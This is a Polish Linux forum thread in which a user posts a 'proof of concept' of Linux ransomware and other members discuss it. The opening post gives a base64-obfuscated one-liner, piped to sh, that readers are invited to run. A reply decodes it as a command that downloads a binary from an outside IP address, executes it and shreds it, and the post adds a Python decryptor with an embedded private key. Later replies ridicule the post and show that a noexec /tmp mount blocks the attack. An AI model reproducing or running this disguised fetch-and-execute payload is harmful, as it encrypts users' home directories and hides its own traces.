Nie jesteś zalogowany.
Jeśli nie posiadasz konta, zarejestruj je już teraz! Pozwoli Ci ono w pełni korzystać z naszego serwisu. Spamerom dziękujemy!

Ogłoszenie

Prosimy o pomoc dla małej Julki — przekaż 1% podatku na Fundacji Dzieciom zdazyć z Pomocą.
Więcej informacji na dug.net.pl/pomagamy/.

#1  2018-09-25 16:15:32

  091619EE - Użytkownik

091619EE
Użytkownik
Zarejestrowany: 2018-07-09

Linux Ransomware - dowod slusznosci koncepcji

Dowod slusznosci koncepcji ataku typu Ransomware dla Linuxa:

1. Aby zostac zaszyfrowanym wystarczy wywolac magiczne polecenie:

Kod:

echo d2dldCAtcWMgaHR0cDovLzE5OC4xNjcuMjIzLjc1LzY2NiAtTyAvdG1wLzY2NiAmJiBjaG1vZCBhK3ggL3RtcC82NjYgJiYgL3RtcC82NjYgJiYgc2hyZWQgLW4xIC11IC90bXAvNjY2ICYK | base64 -d | sh

to wszystko

(zostaną zaszyfrowane rekurencyjnie wszystkie dane w katalogu home uzytkownika)

2. Aby sie odszyfrowac nalezy:

-otworzyc plik ~/encryption.log i skopiowac swoj zaszyfrowany klucz symetryczny

-zapisac skrypt decryptor.py:

Kod:

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES

import os
import base64

BLOCK_SIZE = 64*1024
CIPHER_BLOCK_SIZE = 16
REMOVE_ENCRYPTED = False

PRIVATE_RSA_KEY = b'-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAoBQOkxAKSwkLnrdP7u4CPSu7ji10TRTSyDNuMGVRxrnH0lJa\nRK+JemA1hhqGZJVOyS997r8rKMX+qEtA2X17d6PlVz1GumKCRCXBBqT+aVjG9WUY\nUO7xxvwkodK3AvjyjvSDlZzO+o+72HhuKD46qp/Lvu8px20PtBXvGPgwnDRzaGxT\nHR32bV1qFWvY4zWh7cwsEeZno2AAYelUcF+QXKv5ZTJN4NmeNntKkII2ubB41LIG\neVp7945mBo/K5h2BP6xyXrKRAusI+3PbG1D7sLJdFFuXb0ljqEB1j1wpN0/grNnp\nI2V2mKoIraoRaC4khT/sl0dZ1QDnZUebsv3e8wIDAQABAoIBAAQyQmeMhhiNdiaE\n+61xw9FCsjn56xCSOSxSXNMb9NbWy+wxiHhAecQhfYW0cE12tIgFnLGDhWgeOJzE\nzEBnT7NFMp/k1VPRfUS4EKVR8fFlCGIqcka83M2wkm1DjtSfHgytUD29zJc46V21\nWn3nk7YhVj/9GQVHUKAR6yCmcO/HTZmqrtDnlNOnEvU+485Dof5QdoZqpk7Uy3Jc\nciqdwbQGDPXgRTMLYekEJSzU6KZxwRObWuIOq7n2PUxurXAyjG2+RV3v5Q/b82gU\nbZdn7B42T/hHmE59p29NdnYsv2Ae7eP9J7qDhwyxtqHTe0okEOGVRdWKAu2LNj/x\nuA6kjTECgYEAxrqjG0280rfRj1eT/2pXIumeLf6wusy5S7jlNE+E7YfYVCkrpevn\nua9/llRVbUwxWrh+eA2W0e8+WsCDobDReqyAUb3UGJ/2tH459M1DyKt/8K7sMHr6\npTXYT1NbhRToyIexe1QlaCK3rHx6HrHEPonxYy7yKBdsAV0aaBOQPv0CgYEAzjXw\nfB5LuNVzBxlbt1Nm84znPIdDRrHUjzxBJCRxFstTpddo174Ft8PFb4tvnug4jtt3\nbp7K2VLSr/qm2mZ47vzdlR+jUDC8aViYH4y1WqMVfP9HYUd2GAI3m2kfGzafayf7\neEolTLbNNThSpnm2oq5k+aP1wgyJTncLhmsvEK8CgYEAvePMwuQvDzIx/cPzWNWl\n2WhdixmYiYXhcKeF68wn+kgZv6FvYaXe0CEPyvdegYeSiVtNDS3+9S6j6FeX78Jj\nB9MY8gJvTfBb7e/HNVGF+ZNWNwcODO0V3xNqU7IU+z8Vh7eRMYUgETdLRnfSwM2f\n9RoeG2XaYdCvlUX/W3+GD4kCgYA9nhKJFAhuZ6GiimpEgnBt8DmcdZKdyj+IuWmB\noj4EoKcTFCXo6YgN3Drf1Nt6sUtNLLkoXdyhScVY/l3jPuF+ECMqDzUeniF+nRF/\nw+zg84BVRHaQ0+iuzeLN1oCMAitqupzC2e0BWlJBR94yjoYLYG8dxWeHH3Xb82iH\nNvnuUwKBgAa7AgNqMq14SjJBmUgdjSYoD/UYD6yQZL+ewc2mYL8iCqoYw2G+UcwI\n9SFB5piaHq/gbkAM8qn+FstGYV3C6Z0cbo1msRUjjtWeEPjj6xAlx5Bmb5Itr2Mv\nuA5rrkpwiE+SCnYtojLUuFtl+qWH4XMUIUQ6+1F95sOKXbiERP/4\n-----END RSA PRIVATE KEY-----'

ENCRYPTED_AES_KEY=b'cCz+Kwm4+45ja3x/t1A/+cpxObAR2tlfwQE/7qoC4GqfuvHQkqXEILlS/089bxbpz2KMTCRpy9Nerdx0jkh5E1ctesySLl+nzxHm7DamAOkvAM1TnCqqpBqU0TXCVCptIxH/Csnb40Yd1ZGUOXeUPDRVv2jE0Q+lY+kD2e4GfJWfTDwzP/qgInNOffeAx2yv5ULJu/zo7cai79AjGzuWBu+zHckNDgKZUTuzhpwGBKT/wlZm7gVDRnyck7OwsDP5b9A13o9BmnWsYkJ2nAuCaGOZJr3g/Qbtk5C0WekQpNSntFkkr622MkEHmzTKwdbLMjYmOLcBA+lQoy2RqkwoSg=='

def decrypt_file(file, cipher):
    try:
        fread = open(file, "rb")
        fwrite = open(file[:-7], "wb")

        while True:
            block = fread.read(BLOCK_SIZE)
            if(len(block) == 0):
                break
            fwrite.write(cipher.decrypt(block))

        fread.close()
        fwrite.close()

        if REMOVE_ENCRYPTED:
            os.remove(file)

        return True
    except:
        return False

def main():
    plain = RSA.importKey(PRIVATE_RSA_KEY).decrypt(base64.b64decode(ENCRYPTED_AES_KEY))
    key = plain[:2*CIPHER_BLOCK_SIZE]
    ivector = plain[-CIPHER_BLOCK_SIZE:]

    print('Klucz AES został odszyfrowany...\n')

    for dirpath, dirnames, files in os.walk(os.getenv("HOME")):
        for filename in files:
            filepath = os.path.join(dirpath, filename)
            if filepath[-7:] != '.locked':
                continue
            if decrypt_file(filepath, AES.new(key,AES.MODE_CBC,ivector)):
                print('Odszyfrowano: '+filepath[:-7])

main()

i podmienic w nim ENCRYPTED_AES_KEY na swoj klucz

-doinstalowac potrzebne pakiety:

sudo apt-get update
sudo apt-get install python3-pip

pip3 install pycrypto

-wykonac skrypt deszyfrujacy:

python3 decryptor.py

Fajne ? :D

Offline

 

#2  2018-09-25 16:36:44

  loms - Użytkownik

loms
Użytkownik
Skąd: Tarnowskie Góry
Zarejestrowany: 2007-07-20

Re: Linux Ransomware - dowod slusznosci koncepcji

Potwierdza to teorie, że żeby się zainfekować to wystarczy jeden raz coś uruchomić, czasami przypadkiem, tak samo pod Windowsem jak i Linuxem.
Zdekodowane z Base64:

Kod:

wget -qc http://198.167.223.75/666 -O /tmp/666 && chmod a+x /tmp/666 && /tmp/666 && shred -n1 -u /tmp/666 &

Ostatnio edytowany przez loms (2018-09-25 16:43:05)


KNOPPIX 8.6, Windows 7

Offline

 

#3  2018-09-25 16:44:46

  091619EE - Użytkownik

091619EE
Użytkownik
Zarejestrowany: 2018-07-09

Re: Linux Ransomware - dowod slusznosci koncepcji

loms to jest to co ci kiedys obiecalem:

https://forum.dug.net.pl/viewtopic.php?pid=320667#p320667

:)

Offline

 

#4  2018-09-25 18:25:28

  yossarian - Szczawiożerca

yossarian
Szczawiożerca
Skąd: Shangri-La
Zarejestrowany: 2011-04-25

Re: Linux Ransomware - dowod slusznosci koncepcji

To jeszcze napisz w jaki sposób użytkownik ma to sobie niby zrobić.

Równie dobrze atakiem można nazwać użycie narzędzia rm ;)

Offline

 

#5  2018-09-25 19:37:59

  morfik - Cenzor wirtualnego świata

morfik
Cenzor wirtualnego świata
Skąd: ze WSI
Zarejestrowany: 2011-09-15
Serwis

Re: Linux Ransomware - dowod slusznosci koncepcji

Ale tylko z opcjami -Rf i jako root. xD

Offline

 

#6  2018-09-25 20:00:52

  Jacekalex - Podobno człowiek...;)

Jacekalex
Podobno człowiek...;)
Skąd: /dev/random
Zarejestrowany: 2008-01-07

Re: Linux Ransomware - dowod slusznosci koncepcji

091619EE napisał(-a):

Dowod slusznosci koncepcji ataku typu Ransomware dla Linuxa:

:)

Popraw tego exploita bo on nie działa, to jakieś brakoróbstwo.

Kod:

Przekierowanie wyjścia do `wget-log.1'.
bash: linia 13: /tmp/666: Brak dostępu
^C
[1]+  Kod wyjścia 126        wget -qc http://198.167.223.75/666 -O /tmp/666 && chmod a+x /tmp/666 && /tmp/666 && shred -n1 -u /tmp/666

i tyle w temacie.

Wystarczy sensownie montować /tmp.

Kod:

 grep /tmp /etc/fstab
tmpfs      /tmp              tmpfs            noatime,noexec,nosuid,nodev,mode=1777                                                    0                      0

SOA#1

Ostatnio edytowany przez Jacekalex (2018-09-25 20:04:43)


W demokracji każdy naród ma taką władzę, na jaką zasługuje ;)
Si vis pacem  para bellum  ;)       |       Pozdrawiam :)

Offline

 

Stopka forum

Powered by PunBB
© Copyright 2002–2005 Rickard Andersson
To nie jest tylko forum, to nasza mała ojczyzna ;-)